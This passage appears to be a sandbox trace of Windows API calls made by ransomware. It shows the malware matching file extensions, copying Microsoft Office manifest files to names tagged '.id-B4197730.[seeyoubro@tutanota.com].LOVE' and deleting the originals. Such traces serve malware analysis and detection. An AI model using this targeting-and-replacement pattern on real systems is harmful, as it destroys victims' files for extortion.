lpString2=".xml") returned -1 [0205.318] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0205.318] lstrlenW (lpString="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 53 [0205.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0205.318] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=399528) returned 1 [0205.318] CloseHandle (hObject=0x348) returned 1 [0205.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0205.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0205.318] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.318] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0205.319] GetLastError () returned 0x0 [0205.319] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x618a8, lpOverlapped=0x0) returned 1 [0205.465] WriteFile (in: hFile=0x330, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x618b0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x618b0, lpOverlapped=0x0) returned 1 [0205.472] ReadFile (in: hFile=0x348, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0205.472] WriteFile (in: hFile=0x330, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x13e, lpOverlapped=0x0) returned 1 [0205.473] SetEndOfFile (hFile=0x330) returned 1 [0205.473] CloseHandle (hObject=0x330) returned 1 [0205.482] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.482] SetEndOfFile (hFile=0x348) returned 1 [0205.486] CloseHandle (hObject=0x348) returned 1 [0205.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0205.487] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 1 [0205.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0205.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0205.487] lstrlenW (lpString=".doc") returned 4 [0205.487] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.487] lstrlenW (lpString=".docx") returned 5 [0205.487] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.487] lstrlenW (lpString=".pdf") returned 4 [0205.487] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.487] lstrlenW (lpString=".xls") returned 4 [0205.487] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.487] lstrlenW (lpString=".xlsx") returned 5 [0205.487] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.487] lstrlenW (lpString=".ppt") returned 4 [0205.487] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0205.488] lstrlenW (lpString=".zip") returned 4 [0205.488] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.488] lstrlenW (lpString=".rar") returned 4 [0205.488] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.488] lstrlenW (lpString=".bz2") returned 4 [0205.488] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.488] lstrlenW (lpString=".7z") returned 3 [0205.488] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0205.488] lstrlenW (lpString=".dbf") returned 4 [0205.488] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0205.488] lstrlenW (lpString=".1cd") returned 4 [0205.488] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0205.488] lstrlenW (lpString=".jpg") returned 4 [0205.488] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0205.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0205.488] lstrlenW (lpString=".doc") returned 4 [0205.488] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.488] lstrlenW (lpString=".docx") returned 5 [0205.488] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.488] lstrlenW (lpString=".pdf") returned 4 [0205.488] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.488] lstrlenW (lpString=".xls") returned 4 [0205.488] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.489] lstrlenW (lpString=".xlsx") returned 5 [0205.489] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.489] lstrlenW (lpString=".ppt") returned 4 [0205.489] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0205.489] lstrlenW (lpString=".zip") returned 4 [0205.489] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.489] lstrlenW (lpString=".rar") returned 4 [0205.489] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.489] lstrlenW (lpString=".bz2") returned 4 [0205.489] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.489] lstrlenW (lpString=".7z") returned 3 [0205.489] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0205.489] lstrlenW (lpString=".dbf") returned 4 [0205.489] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0205.489] lstrlenW (lpString=".1cd") returned 4 [0205.571] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0205.571] lstrlenW (lpString=".jpg") returned 4 [0205.571] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.571] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0205.571] lstrlenW (lpString="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 53 [0205.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0205.572] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=1261) returned 1 [0205.572] CloseHandle (hObject=0x330) returned 1 [0205.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 0x220 [0205.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0205.572] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.572] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0205.572] GetLastError () returned 0x0 [0205.572] ReadFile (in: hFile=0x330, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0205.706] WriteFile (in: hFile=0x35c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0205.741] ReadFile (in: hFile=0x330, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0205.742] WriteFile (in: hFile=0x35c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x13e, lpOverlapped=0x0) returned 1 [0205.742] SetEndOfFile (hFile=0x35c) returned 1 [0205.742] CloseHandle (hObject=0x35c) returned 1 [0205.743] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.743] SetEndOfFile (hFile=0x330) returned 1 [0205.744] CloseHandle (hObject=0x330) returned 1 [0205.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0205.744] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 1 [0205.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0205.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0205.745] lstrlenW (lpString=".doc") returned 4 [0205.745] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.745] lstrlenW (lpString=".docx") returned 5 [0205.745] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.745] lstrlenW (lpString=".pdf") returned 4 [0205.745] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.745] lstrlenW (lpString=".xls") returned 4 [0205.745] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.745] lstrlenW (lpString=".xlsx") returned 5 [0205.745] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.745] lstrlenW (lpString=".ppt") returned 4 [0205.745] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0205.745] lstrlenW (lpString=".zip") returned 4 [0205.745] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.745] lstrlenW (lpString=".rar") returned 4 [0205.745] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.745] lstrlenW (lpString=".bz2") returned 4 [0205.745] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.745] lstrlenW (lpString=".7z") returned 3 [0205.745] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0205.745] lstrlenW (lpString=".dbf") returned 4 [0205.745] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0205.745] lstrlenW (lpString=".1cd") returned 4 [0205.745] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0205.746] lstrlenW (lpString=".jpg") returned 4 [0205.746] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0205.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0205.746] lstrlenW (lpString=".doc") returned 4 [0205.746] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.746] lstrlenW (lpString=".docx") returned 5 [0205.746] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.746] lstrlenW (lpString=".pdf") returned 4 [0205.746] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.746] lstrlenW (lpString=".xls") returned 4 [0205.746] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.746] lstrlenW (lpString=".xlsx") returned 5 [0205.746] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.746] lstrlenW (lpString=".ppt") returned 4 [0205.746] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0205.746] lstrlenW (lpString=".zip") returned 4 [0205.746] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.746] lstrlenW (lpString=".rar") returned 4 [0205.746] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.746] lstrlenW (lpString=".bz2") returned 4 [0205.746] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.746] lstrlenW (lpString=".7z") returned 3 [0205.746] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0205.747] lstrlenW (lpString=".dbf") returned 4 [0205.747] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0205.747] lstrlenW (lpString=".1cd") returned 4 [0205.747] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0205.747] lstrlenW (lpString=".jpg") returned 4 [0205.747] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.747] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0205.747] lstrlenW (lpString="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 53 [0205.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0205.805] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=1261) returned 1 [0205.805] CloseHandle (hObject=0x330) returned 1 [0205.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 0x220 [0205.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0205.830] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.830] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0205.831] GetLastError () returned 0x0 [0205.831] ReadFile (in: hFile=0x330, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0205.838] WriteFile (in: hFile=0x354, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0205.838] ReadFile (in: hFile=0x330, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0205.838] WriteFile (in: hFile=0x354, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x13e, lpOverlapped=0x0) returned 1 [0205.838] SetEndOfFile (hFile=0x354) returned 1 [0205.839] CloseHandle (hObject=0x354) returned 1 [0205.841] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.841] SetEndOfFile (hFile=0x330) returned 1 [0205.842] CloseHandle (hObject=0x330) returned 1 [0205.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0205.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 1 [0205.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0205.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0205.843] lstrlenW (lpString=".doc") returned 4 [0205.843] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.843] lstrlenW (lpString=".docx") returned 5 [0205.843] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.843] lstrlenW (lpString=".pdf") returned 4 [0205.843] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.844] lstrlenW (lpString=".xls") returned 4 [0205.844] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.844] lstrlenW (lpString=".xlsx") returned 5 [0205.844] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.844] lstrlenW (lpString=".ppt") returned 4 [0205.844] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0205.844] lstrlenW (lpString=".zip") returned 4 [0205.844] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.844] lstrlenW (lpString=".rar") returned 4 [0205.844] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.844] lstrlenW (lpString=".bz2") returned 4 [0205.844] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.844] lstrlenW (lpString=".7z") returned 3 [0205.844] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0205.844] lstrlenW (lpString=".dbf") returned 4 [0205.844] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0205.844] lstrlenW (lpString=".1cd") returned 4 [0205.844] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0205.844] lstrlenW (lpString=".jpg") returned 4 [0205.844] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0205.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0205.844] lstrlenW (lpString=".doc") returned 4 [0205.844] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.845] lstrlenW (lpString=".docx") returned 5 [0205.845] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.845] lstrlenW (lpString=".pdf") returned 4 [0205.845] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.845] lstrlenW (lpString=".xls") returned 4 [0205.845] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.845] lstrlenW (lpString=".xlsx") returned 5 [0205.845] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.845] lstrlenW (lpString=".ppt") returned 4 [0205.845] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.845] lstrlenW (lpString="C:\\Program Files\\Microsoft 